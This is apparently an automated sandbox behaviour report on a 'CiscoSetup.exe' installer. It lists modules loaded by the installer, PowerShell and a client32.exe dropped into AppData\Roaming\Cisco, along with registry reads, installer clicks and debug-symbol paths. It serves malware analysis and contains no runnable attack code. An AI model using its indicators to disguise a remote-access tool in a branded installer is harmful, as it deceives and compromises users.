Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	Section loaded: sfc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	Section loaded: linkinfo.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kdscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Section loaded: pcicl32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Section loaded: pcichek.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Section loaded: pcicapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Section loaded: msvcr100.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Section loaded: msvcr100.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Section loaded: dbgcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Section loaded: nsmtrace.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Section loaded: nslsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Section loaded: devobj.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Section loaded: pcihooks.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Section loaded: riched32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Section loaded: pciinv.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Section loaded: fwpolicyiomgr.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Section loaded: pcicl32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Section loaded: pcichek.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Section loaded: pcicapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Section loaded: msvcr100.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Section loaded: msvcr100.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Section loaded: nsmtrace.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Section loaded: nslsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Section loaded: devobj.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Section loaded: pcicl32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Section loaded: pcichek.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Section loaded: pcicapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Section loaded: msvcr100.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Section loaded: msvcr100.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Section loaded: nsmtrace.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Section loaded: nslsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Section loaded: devobj.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Section loaded: msasn1.dll	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00BB2765-6A77-11D0-A535-00C04FD7D062}\InProcServer32

Jump to behavior

Source: Cisco Secure Client for Windows.lnk.1.dr

LNK file: ..\..\..\..\..\..\Program Files (x86)\Cisco\Cisco Secure Client\UI\csc_ui.exe

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File written: C:\Users\user\AppData\Roaming\Cisco\nsm_vpro.ini

Jump to behavior

Reads the Windows registered owner settings

Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion RegisteredOwner

Jump to behavior

Executable creates window controls seldom found in malware

Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp

Window found: window name: TSelectLanguageForm

Jump to behavior

Found GUI installer (many successful clicks)

Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	Automated click: OK
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	Automated click: Install
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	Automated click: Next

Uses Rich Edit Controls

Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe

File opened: C:\Windows\SysWOW64\riched32.dll

Jump to behavior

Found graphical window changes (likely an installer)

Source: Window Recorder

Window detected: More than 3 window changes detected

Uses Microsoft Silverlight

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

PE / OLE file has a valid certificate

Source: CiscoSetup.exe

Static PE information: certificate valid

Submission file is bigger than most known malware samples

Source: CiscoSetup.exe

Static file information: File size 16877888 > 1048576

Uses new MSVCR Dlls

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Users\user\AppData\Roaming\Cisco\msvcr100.dll

Jump to behavior

Contains modern PE file flags such as dynamic base (ASLR) or NX

Source: CiscoSetup.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Binary contains paths to debug symbols

Source:	Binary string: E:\nsmsrc\nsm\1210\1210\ctl32\Full\pcichek.pdb source: client32.exe, 00000007.00000002.4143990636.00000000688B2000.00000002.00000001.01000000.0000000C.sdmp, client32.exe, 00000008.00000002.2110324547.00000000688B2000.00000002.00000001.01000000.0000000C.sdmp, client32.exe, 0000000A.00000002.2191144837.00000000688B2000.00000002.00000001.01000000.0000000C.sdmp
Source:	Binary string: E:\nsmsrc\nsm\1210\1210f\client32\Release\PCICL32.pdb source: client32.exe, 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmp, client32.exe, 00000008.00000002.2109302873.000000001118F000.00000002.00000001.01000000.0000000B.sdmp, client32.exe, 0000000A.00000002.2190511917.000000001118F000.00000002.00000001.01000000.0000000B.sdmp
Source:	Binary string: C:\Users\build\p4files\ngc\Quicksilver\third-party\openssl\out.win.7.x86\ciscossl-1.1.1t.7.2.500\engines\cfom\cfom.pdb source: is-N867I.tmp.1.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210f\ctl32\release\htctl32.pdbL source: powershell.exe, 00000005.00000002.1991259471.0000000005357000.00000004.00000800.00020000.00000000.sdmp, client32.exe, 00000007.00000002.4143550370.00000000685D0000.00000002.00000001.01000000.0000000F.sdmp
Source:	Binary string: client32.pdb\1141\1141\client32\Release\client32.pdb source: powershell.exe, 00000005.00000002.1991259471.0000000005259000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\temp\build\thehoff\Quicksilver_MR50.560024709388\Quicksilver_MR5\vpn\ExternalBrowserHelper\Win32\Win32\Release\acextwebhelper.pdb666GCTL source: is-K9DFT.tmp.1.dr
Source:	Binary string: C:\temp\build\thehoff\Quicksilver_MR50.560024709388\Quicksilver_MR5\vpn\ProxyCon\Win32\Release\ProxyCon.pdb source: is-139DF.tmp.1.dr
Source:	Binary string: C:\temp\build\thehoff\Quicksilver_MR50.560024709388\Quicksilver_MR5\ACRuntime\Release\acruntime.pdb source: is-FRTV6.tmp.1.dr
Source:	Binary string: E:\nsmsrc\nsm\1280\1280f\ctl32\release_unicode\tcctl32.pdbP` source: powershell.exe, 00000005.00000002.1991259471.0000000005259000.00000004.00000800.00020000.00000000.sdmp, TCCTL32.DLL.5.dr
Source:	Binary string: d:\a01\_work\11\s\\binaries\x86ret\bin\i386\\msvcp140_2.i386.pdb source: is-0IGCD.tmp.1.dr
Source:	Binary string: \1141\1141\client32\Release\client32.pdb source: powershell.exe, 00000005.00000002.1991259471.0000000005259000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\temp\build\thehoff\Quicksilver_MR50.560024709388\Quicksilver_MR5\vpn\IPsec\Win32\Release\vpnipsec.pdb source: is-M1NCB.tmp.1.dr
Source:	Binary string: C:\temp\build\thehoff\Quicksilver_MR50.560024709388\Quicksilver_MR5\vpn\CommonCrypt\Win32\Release\vpncommoncrypt.pdb]]]GCTL source: is-T3UDO.tmp.1.dr
Source:	Binary string: System.Management.Automation.pdb-2476756634-1002_Classes\WOW6432Node\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\InprocServer32AppData source: powershell.exe, 00000005.00000002.2043735068.0000000008824000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\temp\build\thehoff\Quicksilver_MR50.560024709388\Quicksilver_MR5\vpn\CLI\Win32\Release\vpncli.pdb+++GCTL source: is-7ARTU.tmp.1.dr
Source:	Binary string: C:\temp\build\thehoff\Quicksilver_MR50.560024709388\Quicksilver_MR5\PhoneHome\Win32\Release\acfeedback.pdb source: is-O6HT8.tmp.1.dr
Source:	Binary string: msvcr100.i386.pdb source: powershell.exe, 00000005.00000002.1991259471.0000000005357000.00000004.00000800.00020000.00000000.sdmp, client32.exe, client32.exe, 00000007.00000002.4143689896.00000000687D1000.00000020.00000001.01000000.0000000E.sdmp, client32.exe, 00000008.00000002.2109997806.00000000687D1000.00000020.00000001.01000000.0000000E.sdmp, client32.exe, 0000000A.00000002.2190902884.00000000687D1000.00000020.00000001.01000000.0000000E.sdmp
Source:	Binary string: System.Management.Automation.pdb source: powershell.exe, 00000005.00000002.2038900255.000000000777A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: E:\nsmsrc\nsm\1280\1280f\ctl32\release_unicode\tcctl32.pdb source: powershell.exe, 00000005.00000002.1991259471.0000000005259000.00000004.00000800.00020000.00000000.sdmp, TCCTL32.DLL.5.dr
Source:	Binary string: C:\temp\build\thehoff\Quicksilver_MR50.560024709388\Quicksilver_MR5\vpn\InstallHelper\x64\Release\InstallHelper64.pdb source: is-BKQ26.tmp.1.dr
Source:	Binary string: C:\temp\build\thehoff\Quicksilver_MR50.560024709388\Quicksilver_MR5\vpn\InstallHelper\x64\Release\InstallHelper64.pdb; source: is-BKQ26.tmp.1.dr
Source:	Binary string: C:\temp\build\thehoff\Quicksilver_MR50.560024709388\Quicksilver_MR5\vpn\ProxyCon\Win32\Release\ProxyCon.pdb)))GCTL source: is-139DF.tmp.1.dr
Source:	Binary string: client32.pdb source: powershell.exe, 00000005.00000002.1991259471.0000000005259000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: E:\nsmsrc\nsm\1210\1210\AudioCapture\Release\AudioCapture.pdb source: powershell.exe, 00000005.00000002.1991259471.0000000005259000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\temp\build\thehoff\Quicksilver_MR50.560024709388\Quicksilver_MR5\PhoneHome\Win32\Release\acfeedback.pdbMM/GCTL source: is-O6HT8.tmp.1.dr
